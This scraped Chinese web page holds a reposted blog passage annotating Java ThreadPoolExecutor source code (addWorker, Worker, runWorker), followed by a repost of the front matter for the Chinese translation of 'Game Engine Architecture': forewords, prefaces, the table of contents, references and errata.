这儿为什么需要recheck，是因为任务入队列前后，线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值，主要是在线程池构造方法中，核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态，或者任务进入队列失败，则尝试创建worker执行任务。// 这儿有3点需要注意：// 1. 线程池不是运行状态时，addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false，则说明任务执行失败，需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂，我对其进行了调整，和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时，直接返回false// 2. 线程池状态等于SHUTDOWN，且firstTask不为null，直接返回false// 3. 线程池状态等于SHUTDOWN，且队列为空，直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量，直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功，则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化，对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况，直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的，因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法，则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败，说明线程池状态发生了变化（关闭操作被执行），需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在，使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋（while循环）boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null，则执行firstTask；// 2. 如果firstTask为null，则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是：当队列为空时，当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁，是为了达到下面的目的// 1. 降低锁范围，提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止，则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务，且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出，说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接：https://blog.csdn.net/grd_java/article/details/113116244。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-07-21 16:19:45

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[转载][置顶]《游戏引擎架构》信息总汇

...论到的概念及技巧实际应用于现实中的游戏工作室，如艺电及顽皮狗。虽然书中采用的例子通常依据一些专门的技术，但是讨论范围远超于某个引擎或API。文中的参考及引用也非常有用，可让读者继续深入游戏开发过程的任何特定方向。《游戏引擎架构》为一个大学程度的游戏编程课程而编写，但也适合软件工程师、业余爱好者、自学游戏程序员，以及游戏产业的从业人员。通过阅读《游戏引擎架构》，资历较浅的游戏工程师可以巩固他们所学的游戏技术及引擎架构的知识，专注某一领域的资深程序员也能从本书更为全面的介绍中获益。內容包括：游戏开发中的大规模C++软件架构游戏编程所需的数学供调试、源代码控制及性能剖析的游戏开发工具引擎基础系统、渲染、碰撞、物理、角色动画、游戏世界对象模型等引擎子系统多平台游戏引擎多处理器环境下的游戏编程工作管道及游戏资产数据库作者／译者简介作者介绍：Jason Gregory在1994年开始任职专业软件工程师，自1999年3月开始在游戏产业中任职软件工程师。在圣迭哥Midway Home Entertainment公司开始游戏编程的他，为《疯狂飞行员（Freaky Flyers）》及《Crank the Weasel》开发PlayStation 2/Xbox上的动画系统。在2003年，他转到洛杉矶艺电，为《荣誉勋章：血战太平洋（Medal of Honor: Pacific Assault）》开发游戏引擎及游戏性技术，并在《荣誉勋章：空降神兵（Medal of Honor: Airborne）》中担任首席工程师。他现时是顽皮狗公司的通才程序员，为《神秘海域：德雷克船长的宝藏（Uncharted: Drake's Fortune）》及《神秘海域：纵横四海（Uncharted: Among Thieves）》开发引擎及游戏性软件。他也在南加州大学教授游戏技术的课程。译者简介：叶劲峰（Milo Yip）从小自习编程，并爱好计算机图形学。上中学时兼职开发策略RPG《王子传奇》，该游戏在1995年于台湾发行。其后他获取了香港大学认知科学学士、香港中文大学系统工程及工程管理哲学硕士。毕业后在香港理工大学设计学院从事游戏引擎及相关技术的研发，职至项目主任。除发表学术文章外，也曾合著《DirectX9游戏编程实务》。2008年往上海育碧担任引擎工程师开发《美食从天而降（Cloudy with a Chance of Meatballs）》Xbox360/PS3/Wii/PC，2009年起于麻辣马开发《爱丽丝：疯狂回归（Alice: Madness Returns）》Xbox360/PS3/PC，2011年加入腾讯互动娱乐引擎技术中心担任专家工程师，所研发的技术已用于《斗战神》、《天涯明月刀》、《众神争霸》等项目中。推荐序1 最初拿到《Game Engine Architecture》一书的英文版，是编辑侠少邮寄给我的打印版。他建议我接下翻译此书的合同。当时我正在杭州带领一个团队开发3D游戏引擎，我和我的同事都对这本书的内容颇有兴趣，两大本打印的英文书立刻在同事间传开。可惜那段时间个人精力顾及不来，把近千页的英文读物精读而后翻译成中文对个人的业余时间是个极大的挑战，不能担此翻译任务颇为遗憾。不久以后听说Milo Yip（叶劲峰）已开始着手翻译，甚为欣喜。翻译此巨著，他一定是比我更合适的人选。我和Milo虽未曾蒙面，但神交已久。在网络上读过一些他的成长经历，和我颇为相似，心有戚戚。他对游戏3D实时渲染技术研究精深为我所不及，我们曾通过Google Talk讨论过许多技术问题，他都有独到的见解。翻译工作开始后，Milo是香港人，英文技术术语在香港的中文译法和大陆的有许多不同。但此书由大陆出版社出版，考虑到面对的读者主要是大陆程序员，Milo希望能更符合大陆程序员的用词习惯，所以在翻译一开始就通过Google Docs创建了协作页面，邀请大家共同探讨书中技术名词的中译名。从中我们可以一窥他作为译者的慎重。三年之后，有幸在出版之前就拿到了完整的译本。这是一本用LaTeX精心排版的800页的电子书，我只花了一周时间，几乎是一口气读完。流畅的阅读享受，绝对不仅仅是因为原著精彩的内容，精美的版面和翔实的译注也加了不少分。在阅读本书的过程中，我不只一次地获得共鸣。例如在第5章的内存管理系统的介绍中，作者介绍的几种游戏特有的内存管理方法我都曾在项目中用过，而这是第一次有书籍专门将这些方法详尽记录；又如第11章动画系统的介绍，我们也同样在3D引擎开发过程中改进原有动画片段混合方法的经历。虽然书中介绍的每个技术点，都可能可以在某篇论文，某本其他的书的章节，某篇网络blog上见过，但之前却无一本书可以把这些东西放在一起相互参照。对于从事游戏引擎开发的程序员来说，了解各种引擎在处理每个具体问题时的方案是相当重要的。而每种方案又各有利弊，即使不做引擎开发工作而是在某一特定游戏引擎上做游戏开发，从中也可以理解引擎的局限性以及可能的改进方法。尤其是第14章介绍的对游戏性相关系统的设计，各个开发人员几乎都是凭经验设计，很少见有书籍对这些做总结。对于基于渲染引擎做开发的游戏程序员，这是必须面对的工作，这一章会有很大的借鉴意义。本书作者是业内资深的游戏引擎开发人，他所参于的《神秘海域》和《最后生还者》都是我的个人最爱。在玩游戏的过程中，作为游戏程序员的天性，自然会不断地猜想各个技术点是如何实现的，背后需要怎样的工具支持。能在书中一一得到印证是件特别开心的事情。作者反复强调代码实践的重要性，在书中遍布着C++代码。我不认为这些代码有直接取来使用的价值，但它们极大地帮助了读者理解书中的技术点。书中列出的顽皮狗工作室用lisp方言作为游戏配置脚本的范例也给我很大的启发，有了这些具体的代码示例以及作者本身的一线工程师背景，也让我确信书中那些关于主机游戏开发相关等，我所没有接触过的内容都也绝非泛泛而谈。国内的游戏开发社区的壮大，主要是随最近十年的MMO风潮而生。而就在大型网络游戏在中国有些畸形发展，让这类游戏偏离电子游戏游戏性的趋势时，我们有幸迎来了为移动设备开发游戏的大潮。游戏开发的重心重新回到游戏性本身。我们更需要去借鉴单机游戏是如何为玩家带来更纯粹的游戏体验，我相信书中记录的各种技术点会变的更有帮助。资深游戏开发及创业者云风 @简悦云风推荐序2 在我认识的许多游戏业开发同仁中，只有少数香港同胞，Milo Yip（叶劲峰）却正是这样一位给我印象非常深刻的优秀香港游戏开发者。我俩认识，是在Milo加入腾讯互动娱乐研发部引擎技术中心后，说来到现在也只是两年多时间。其间，他为人的谦逊务实，对待技术问题的严谨求真态度，对算法设计和性能优化的娴熟技术，都为人所称道。Milo一丝不苟的工作风格，甚至表现在对待技术文档排版这类事情上（Milo常执著地用LaTeX将技术文档排到完美），我想这一定是他在香港读大学、硕士及在香港理工大学的多媒体创新中心从事研究员，一贯沿袭至今的好作风。我很高兴腾讯游戏有实力吸引到这样优秀的技术专家；即使在其已从上海迁回香港家中，依然选择到深圳腾讯互动娱乐总部工作。叶兄从此工作日每天早晚过关，来往香港和深圳两地，虽有舟车劳顿，但是兼顾了对家庭的照顾和在游戏引擎方面的专业研究，希望这样的状况是令他满意的。认识叶兄当时，我便知道他在进行Jason Gregory所著《游戏引擎架构》一书的中译工作。因为自己从前也有业余翻译游戏开发有关书籍的经历，所以我能理解其中的辛苦和责任重大，对叶兄也更多一分钦佩。我以为，本书以及本书的中文读者最大的幸运便是，遇到叶兄这位对游戏有着如同对家对国般强烈责任感，犹如“游戏科学工作者”般的专业译者！现在（2013年年末）无疑是游戏史上对独立游戏制作者最友好的年代。开发设备方便获得（相对过往仅由主机厂商授权才能获得专利开发设备，现在有一台智能手机和一台个人电脑就可以开发）、技术工具友好、调试过程简单方便，且互联网上有丰富的例程和开源代码参考，也有网上社区便于交流。很多爱好者能够很快地制作出可运行的游戏原型，其中一些也能发布到应用商店。但是不全面掌握各方面知识，尤其是游戏引擎架构知识，往往只能停留在勉强修改、凑合重用别人提供的资源的应用程度上，难以做极限的性能改进，更妄谈革命式的架构创新。这样的程度是很难在成千上万的游戏中脱颖而出的。我们所认可的真正的游戏大作，必定是在某方面大幅超越用户期待的产品。为了打造这样的产品，游戏内容创作者（策划、美术等）需要“戴着镣铐跳舞”（在当前的机能下争取更多的创作自由度），而引擎架构合理的游戏可以经得起──也值得进行──反复优化，最终可以提供更多的自由度，这是大作出现的技术前提。书的作者、译者、出版社的编者，加上读者，大家是因书而结缘的有缘人。因叶兄这本《游戏引擎架构》译著而在线上线下相识的读者们，你们是不是因“了解游戏引擎架构，从而制作/优化好游戏”这样的理想而结了缘呢？亲爱的读者，愿你的游戏有一天因谜题巧妙绝伦、趣味超凡、虚拟世界气势磅礴、视觉效果逼真精美等专业因素取得业界褒奖，并得到玩家真诚的赞美。希望届时曾读叶兄这本《游戏引擎架构》译作的你，也可以回馈社会，回馈游戏开发的学习社区，帮助新人。希望你也可以建立微信公众号、博客等，或翻译游戏开发书籍，造福外语不好的读者，所以如果你的外语（英语、日语、韩语之于游戏行业比较重要）水平仍需精进，现在也可以同步加油了！腾讯《天天爱消除》游戏团队Leader 沙鹰 @也是沙鹰译序数千年以来，艺术家们通过文学、绘画、雕塑、建筑、音乐、舞蹈、戏剧等传统艺术形式充实人类的精神层面。自20世纪中叶，计算机的普及派生出另一种艺术形式──电子游戏。游戏结合了上述传统艺术以及近代科技派生的其他艺术（如摄影、电影、动画），并且完全脱离了艺术欣赏这种单向传递的方式──游戏必然是互动的，“玩家”并不是“读者”、“观众”或“听众”，而是进入游戏世界、感知并对世界做出反应的参与者。基于游戏的互动本质，游戏的制作通常比其他大众艺术复杂。商业游戏的制作通常需要各种人才的参与，而他们则需要依赖各种工具及科技。游戏引擎便是专门为游戏而设计的工具及科技集成。之所以称为引擎，如同交通工具中的引擎，提供了最核心的技术部分。因为复杂，研发成本高，人们不希望制作每款游戏（或车款）时都重新设计引擎，重用性是游戏引擎的一个重要设计目标。然而，各游戏本身的性质以及平台的差异，使研发完全通用的游戏引擎变得极困难，甚至不可能。市面上出售的游戏引擎，有一些虽然已经达到很高的技术水平，但在商业应用中，很多时候还是需要因应个别游戏项目对引擎改造、整合、扩展及优化。因此，即使能使用市面上最好的商用引擎或自研引擎，我们仍需要理解当中的架构、各种机制和技术，并且分析及解决在制作中遇到的问题。这些也是译者曾任于上海两家工作室时的主要工作范畴。选择翻译此著作，主要原因是在阅读中得到共鸣，并且能知悉一些知名游戏作品实际上所采用的方案。有感坊间大部分游戏开发书籍并不是由业内人士执笔，内容只足够应付一些最简单的游戏开发，欠缺宏观比较各种方案，技术与当今实际情况也有很大差距。而一些Gems类丛书虽然偶有好文章，但受形式所限欠缺系统性、全面性。难得本书原作者身为世界一流游戏工作室的资深游戏开发者（注1），在繁重的游戏开发工作外，还在大学教授游戏开发课程以至编写本著作。此外，从与内地同事的交流中，了解到许多从业者不愿意阅读外文书籍。为了普及知识及反馈业界社会，希望能尽绵力。或许有些人以为本著作是针对单机／游戏机游戏的，并不适合国内以网游为主的环境。但译者认为这是一种误解，许多游戏本身所涉及的技术是具通用性的。例如游戏性相关的游戏性系统、场景管理、人工智能、物理模拟等部分，许多时候也会同时用于网游的前台和后台。现时，一些动作为主、非MMO的国内端游甚至会直接在后台运行传统意义上的游戏引擎。至于前台相关的技术，单机和端游的区别更少。此外，随着近年移动终端的兴起，其硬件性能已超越传统掌上游戏机，开发手游所需的技术与传统掌上游戏机并无太大差异。还可预料，现时单机／游戏机的一些较高级的架构及技术，将在不远的未来着陆移动终端平台。译者认为，本书涵括游戏开发技术的方方面面，同时适合入门及经验丰富的游戏程序员。书名中的架构二字，并不单是给出一个系统结构图，而是描述每个子系统的需求、相关技术及与其他子系统的关系。对译者本人而言，本书的第11章（动画系统）及第14章（运行时游戏性基础系统）是本书特別精彩之处，含有许多少见于其他书籍的内容。而第10章（渲染引擎）由于是游戏引擎中的一个极大的部分，有限的篇幅可能未能覆盖广度及深度，推荐读者参考[1]（注2），人工智能方面也需参考其他专著。本译作采用LaTeX排版（注3），以Inkscape编译矢量图片。为了令阅读更流畅，内文中的网址都统一改以脚注标示。另外，由于现时游戏开发相关的文献以英文为主，而且游戏开发涉及的知识面很广，本译作尽量以括号形式保留英文术语。为了方便读者查找内容，在附录中增设中英文双向索引（索引条目与原著的不同）。本人在香港成长学习及工作，至2008年才赴内地游戏工作室工作，不黯内地的中文写作及用字习惯，翻译中曾遇到不少困难。有幸得到出版社人员以及良师益友的帮助，才能完成本译作。特别感谢周筠老师支持本作的提案，并耐心地给予协助及鼓励。编辑张春雨老师和卢鸫翔老师，以及好友余晟给予了大量翻译上的知识及指导。也感谢游戏业界专家云风、大宝和Dave给予了许多宝贵意见。此书的翻译及排版工作比预期更花时间，感谢妻子及儿女们的体谅。此次翻译工作历时三年半，因工作及家庭事宜导致严重延误，唯有在翻译及排版工作上更尽心尽力，希望求得等待此译作的读者们谅解。无论是批评或建议，诚希阁下通过电邮miloyip@gmail.com、新浪微博、豆瓣等渠道不吝赐教。叶劲峰（Milo Yip） 2013年10月原作者是顽皮狗（Naughty Dog）《神秘海域（Uncharted）》系列的通才程序员、《最后生还者（The Last of Us）》的首席程序员，之前还曾在EA和Midway工作。中括号表示引用附录中的参考文献。一些参考条目加入了其中译本的信息。具体是使用CTEX套装，它是在MiKTeX的基础上增加中文的支持。前言最早的电子游戏完全由硬件构成，但微处理器（microprocessor）的高速发展完全改变了游戏的面貌。现在的游戏是在多用途的PC和专门的电子游戏主机（video game console）上玩的，凭借软件带来绝妙的游戏体验。从最初的游戏诞生至今已有半个世纪，但很多人仍然认为游戏是一个未成熟的产业。即使游戏可能是个年轻的产业，若仔细观察，也会发现它正在高速发展。现时游戏已成为一个上百亿美元的产业，覆盖不同年龄、性别的广泛受众。千变万化的游戏，可以分为从纸牌游戏到大型多人在线游戏（massively multiplayer online game，MMOG）等多个种类（category）和“类型（genre）”（注1），也可以运行在任何装有微芯片（microchip）的设备上。你现在可以在PC、手机及多种特别为游戏而设计的手持/电视游戏主机上玩游戏。家用电视游戏通常代表最尖端的游戏科技，又由于它们是周期性地推出新版本，因此有游戏机“世代”（generation）的说法。最新一代（注2）的游戏机包括微软的Xbox 360和索尼的PlayStation 3，但一定不可忽视长盛不衰的PC，以及最近非常流行的任天堂Wii。最近，剧增的下载式休闲游戏，使这个多样化的商业游戏世界变得更复杂。虽然如此，大型游戏仍然是一门大生意。今天的游戏平台非常复杂，有难以置信的运算能力，这使软件的复杂度得以进一步提升。所有这些先进的软件都需要由人创造出来，这导致团队人数增加，开发成本上涨。随着产业变得成熟，开发团队要寻求更好、更高效的方式去制作产品，可复用软件（reusable software）和中间件（middleware）便应运而生，以补偿软件复杂度的提升。由于有这么多风格迥异的游戏及多种游戏平台，因此不可能存在单一理想的软件方案。然而，业界已经发展出一些模式，也有大量的潜在方案可供选择。现今的问题是如何找到一个合适的方案去迎合某个项目的需要。再进一步，开发团队必须考虑项目的方方面面，以及如何把各方面集成。对于一个崭新的游戏设计，鲜有可能找到一个完美搭配游戏设计各方面的软件包。现时业界内的老手，入行时都是“开荒牛”。我们这代人很少是计算机科学专业出身（Matt的专业是航空工程、Jason的专业是系统设计工程），但现时很多学院已设有游戏开发的课程和学位。时至今日，为了获取有用的游戏开发信息，学生和开发者必须找到好的途径。对于高端的图形技术，从研究到实践都有大量高质量的信息。可是，这些信息经常不能直接应用到游戏的生产环境，或者没有一个生产级质量的实现。对于图形以外的游戏开发技术，市面上有一些所谓的入门书籍，没提及参考文献就描述很多内容细节，像自己发明的一样。这种做法根本没有用处，甚至经常带有不准确的内容。另一方面，市场上有一些高端的专门领域书籍，例如物理、碰撞、人工智能等。可是，这类书或者啰嗦到让你难以忍受，或者高深到让部分读者无法理解，又或者内容过于零散而难于融会贯通。有一些甚至会直接和某项技术挂钩，软硬件一旦改动，其内容就会迅速过时。此外，互联网也是收集相关知识的绝佳工具。可是，除非你确实知道要找些什么，否则断链、不准确的资料、质量差的内容也会成为学习障碍。好在，我们有Jason Gregory，他是一位拥有在顽皮狗（Naughty Dog）工作经验的业界老手，而顽皮狗是全球高度瞩目的游戏工作室之一。Jason在南加州大学教授游戏编程课程时，找不到概括游戏架构的教科书。值得庆幸的是，他承担了这个任务，填补了这个空白。 Jason把应用到实际发行游戏的生产级别知识，以及整个游戏开发的大局编集于本书。他凭经验，不仅融汇了游戏开发的概念和技巧，还用实际的代码示例及实现例子去说明怎样贯通知识来制作游戏。本书的引用及参考文献可以让读者更深入探索游戏开发过程的各方面。虽然例子经常是基于某些技术的，但是概念和技巧是用来实际创作游戏的，它们可以超越个别引擎或API的束缚。本书是一本我们入行做游戏时想要的书。我们认为本书能让入门者增长知识，也能为有经验者开拓更大的视野。 Jeff Lander（注3） Matthew Whiting（注4）译注：Genre一词在文学中为体裁。电影和游戏里通常译作类型。不同的游戏类型可见1.2节。译注：按一般说法，2005年至今属于第7个游戏机世代。这3款游戏机的发行年份为Xbox 360（2005）、PlayStation 3（2006）、Wii（2006）。有关游戏机世代可参考维基百科。译注：Jeff Lander现时为Darwin 3D公司的首席技术总监、Game Tech公司创始人，曾为艺电首席程序员、Luxoflux公司游戏性及动画技术程序员。译注：Matthew Whiting现时为Wholesale Algorithms公司程序员，曾为Luxoflux公司首席软件工程师、Insomniac Games公司程序员。序言欢迎来到《游戏引擎架构》世界。本书旨在全面探讨典型商业游戏引擎的主要组件。游戏编程是一个庞大的主题，有许多内容需要讨论。不过相信你会发现，我们讨论的深度将足以使你充分理解本书所涵盖的工程理论及常用实践的方方面面。话虽如此，令人着迷的漫长游戏编程之旅其实才刚刚启程。与此相关的每项技术都包含丰富内容，本书将为你打下基础，并引领你进入更广阔的学习空间。本书焦点在于游戏引擎的技术及架构。我们会探讨商业游戏引擎中，各个子系统的相关理论，以及实现这些理论所需要的典型数据结构、算法和软件接口。游戏引擎与游戏的界限颇为模糊。我们将把注意力集中在引擎本身，包括多个低阶基础系统（low-level foundation system）、渲染引擎（rendering engine）、碰撞系统（collision system）、物理模拟（physics simulation）、人物动画（character animation），及一个我称为游戏性基础层（gameplay foundation layer）的深入讨论。此层包括游戏对象模型（game object model）、世界编辑器（world editor）、事件系统（event system）及脚本系统（scripting system）。我们也将会接触游戏性编程（gameplay programming）的多个方面，包括玩家机制（player mechanics）、摄像机（camera）及人工智能（artificial intelligence，AI）。然而，这类讨论会被限制在游戏性系统和引擎接口范围。本书可以作为大学中等级游戏程序设计中两到三门课程的教材。当然，本书也适合软件工程师、业余爱好者、自学的游戏程序员，以及游戏行业从业人员。通过阅读本书，资历较浅的游戏程序员可以巩固他们所学的游戏数学、引擎架构及游戏科技方面的知识。专注某一领域的资深程序员也能从本书更为全面的介绍中获益。为了更好地学习本书内容，你需要掌握基本的面向对象编程概念并至少拥有一些C++编程经验。尽管游戏行业已经开始尝试使用一些新的、令人兴奋的编程语言，然而工业级的3D游戏引擎仍然是用C或C++编写的，任何认真的游戏程序员都应该掌握C++。我们将在第3章重温一些面向对象编程的基本原则，毫无疑问，你还会从本书学到一些C++的小技巧，不过C++的基础最好还是通过阅读[39]、[31]及[32]来获得。如果你对C++已经有点生疏，建议你在阅读本书的同时，最好能重温这几本或者类似书籍。如果你完全没有C++经验，在看本书之前，可以考虑先阅读[39]的前几章，或者尝试学习一些C++的在线教程。学习编程技能最好的方法就是写代码。在阅读本书时，强烈建议你选择一些特别感兴趣的主题付诸实践。举例来说，如果你觉得人物动画很有趣，那么可以首先安装OGRE，并测试一下它的蒙皮动画示范。接着还可以尝试用OGRE实现本书谈及的一些动画混合技巧。下一步你可能会打算用游戏手柄控制人物在平面上行走。等你能玩转一些简单的东西了，就应该以此为基础，继续前进！之后可以转移到另一个游戏技术范畴，周而复始。这些项目是什么并不重要，重要的是你在实践游戏编程的艺术，而不是纸上谈兵。游戏科技是一个活生生、会呼吸的家伙，永远不可能将之束缚于书本之上。因此，附加的资源、勘误、更新、示例代码、项目构思等已经发到本书的网站。目录推荐序1 iii推荐序2 v译序 vii序言 xvii前言 xix致谢 xxi第一部分基础 1第1章导论 31.1 典型游戏团队的结构 41.2 游戏是什么 71.3 游戏引擎是什么 101.4 不同游戏类型中的引擎差异 111.5 游戏引擎概观 221.6 运行时引擎架构 271.7 工具及资产管道 46第2章专业工具 532.1 版本控制 532.2 微软Visual Studio 612.3 剖析工具 782.4 内存泄漏和损坏检测 792.5 其他工具 80第3章游戏软件工程基础 833.1 重温C++及最佳实践 833.2 C/C++的数据、代码及内存 903.3 捕捉及处理错误 118第4章游戏所需的三维数学 1254.1 在二维中解决三维问题 1254.2 点和矢量 1254.3 矩阵 1394.4 四元数 1564.5 比较各种旋转表达方式 1644.6 其他数学对象 1684.7 硬件加速的SIMD运算 1734.8 产生随机数 180第二部分低阶引擎系统 183第5章游戏支持系统 1855.1 子系统的启动和终止 1855.2 内存管理 1935.3 容器 2085.4 字符串 2255.5 引擎配置 234第6章资源及文件系统 2416.1 文件系统 2416.2 资源管理器 251第7章游戏循环及实时模拟 2777.1 渲染循环 2777.2 游戏循环 2787.3 游戏循环的架构风格 2807.4 抽象时间线 2837.5 测量及处理时间 2857.6 多处理器的游戏循环 2967.7 网络多人游戏循环 304第8章人体学接口设备（HID） 3098.1 各种人体学接口设备 3098.2 人体学接口设备的接口技术 3118.3 输入类型 3128.4 输出类型 3168.5 游戏引擎的人体学接口设备系统 3188.6 人体学接口设备使用实践 332第9章调试及开发工具 3339.1 日志及跟踪 3339.2 调试用的绘图功能 3379.3 游戏内置菜单 3449.4 游戏内置主控台 3479.5 调试用摄像机和游戏暂停 3489.6 作弊 3489.7 屏幕截图及录像 3499.8 游戏内置性能剖析 3499.9 游戏内置的内存统计和泄漏检测 356第三部分图形及动画 359第10章渲染引擎 36110.1 采用深度缓冲的三角形光栅化基础 36110.2 渲染管道 40410.3 高级光照及全局光照 42610.4 视觉效果和覆盖层 43810.5 延伸阅读 446第11章动画系统 44711.1 角色动画的类型 44711.2 骨骼 45211.3 姿势 45411.4 动画片段 45911.5 蒙皮及生成矩阵调色板 47111.6 动画混合 47611.7 后期处理 49311.8 压缩技术 49611.9 动画系统架构 50111.10 动画管道 50211.11 动作状态机 51511.12 动画控制器 535第12章碰撞及刚体动力学 53712.1 你想在游戏中加入物理吗 53712.2 碰撞/物理中间件 54212.3 碰撞检测系统 54412.4 刚体动力学 56912.5 整合物理引擎至游戏 60112.6 展望：高级物理功能 616第四部分游戏性 617第13章游戏性系统简介 61913.1 剖析游戏世界 61913.2 实现动态元素：游戏对象 62313.3 数据驱动游戏引擎 62613.4 游戏世界编辑器 627第14章运行时游戏性基础系统 63714.1 游戏性基础系统的组件 63714.2 各种运行时对象模型架构 64014.3 世界组块的数据格式 65714.4 游戏世界的加载和串流 66314.5 对象引用与世界查询 67014.6 实时更新游戏对象 67614.7 事件与消息泵 69014.8 脚本 70714.9 高层次的游戏流程 726第五部分总结 727第15章还有更多内容吗 72915.1 一些未谈及的引擎系统 72915.2 游戏性系统 730参考文献 733中文索引 737英文索引 755 参考文献 Tomas Akenine-Moller, Eric Haines, and Naty Hoffman. Real-Time Rendering (3rd Edition). Wellesley, MA: A K Peters, 2008. 中译本：《实时计算机图形学（第2版）》，普建涛译，北京大学出版社，2004. Andrei Alexandrescu. Modern C++ Design: Generic Programming and Design Patterns Applied. Resding, MA: Addison-Wesley, 2001. 中译本：《C++设计新思维：泛型编程与设计模式之应用》，侯捷/於春景译，华中科技大学出版社，2003. Grenville Armitage, Mark Claypool and Philip Branch. Networking and Online Games: Understanding and Engineering Multiplayer Internet Games. New York, NY: John Wiley and Sons, 2006. James Arvo (editor). Graphics Gems II. San Diego, CA: Academic Press, 1991. Grady Booch, Robert A. Maksimchuk, Michael W. Engel, Bobbi J. Young, Jim Conallen, and Kelli A. Houston. Object-Oriented Analysis and Design with Applications (3rd Edition). Reading, MA: Addison-Wesley, 2007. 中译本：《面向对象分析与设计（第3版）》，王海鹏/潘加宇译，电子工业出版社，2012. Mark DeLoura (editor). Game Programming Gems. Hingham, MA: Charles River Media, 2000. 中译本：《游戏编程精粹 1》，王淑礼译，人民邮电出版社，2004. Mark DeLoura (editor). Game Programming Gems 2. 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London, England: Faber & Faber, 2002. 中译本：《原动画基础教程：动画人的生存手册》，邓晓娥译，中国青年出版社，2006. 勘误第1次印册（2014年2月） P.xviii: 译注中 Wholesale Algoithms -> Wholesale Algorithms P.10: 最后一段第一行微软的媒体播放器 -> 微软的Windows Media Player (多谢读者OpenGPU来函指正) P.15: 1.4.3节第三点按妞 -> 按钮 (多谢读者一个小小凡人来函指正) P.40: 正文最后一行按扭 -> 按钮 P.50: 1.7.8节第二节第一行同是 -> 同时 (多谢读者czfdd来函指正) P.98: 代码 writeExampleStruct(Example& ex, Stream& ex) 中 Stream& ex -> Stream& stream (多谢读者Snow来函指正) P.106: 第一段中有六处 BBS -> BSS，最后一段代码的注释也有同样错误 (多谢读者trout来函指正) P.119: 译注中软体工程 -> 软件工程 (多谢读者Snow来函指正) P.214: 正文第一段有两处虚内存 -> 虚拟内存 (多谢读者Snow来函指正) P.216: 脚注24应标明为译注 (多谢读者Snow来函指正) P.221: 第一段代码的第二个断言应为 ASSERT(link.m_pPrev != NULL); (多谢读者Snow来函指正) P.230: 5.4.4.1节第二段软体 -> 软件 P.286: 脚注4应标明为译注 (多谢读者Snow来函指正) P.322: 第二段按扭事件字 -> 按钮事件 P.349: 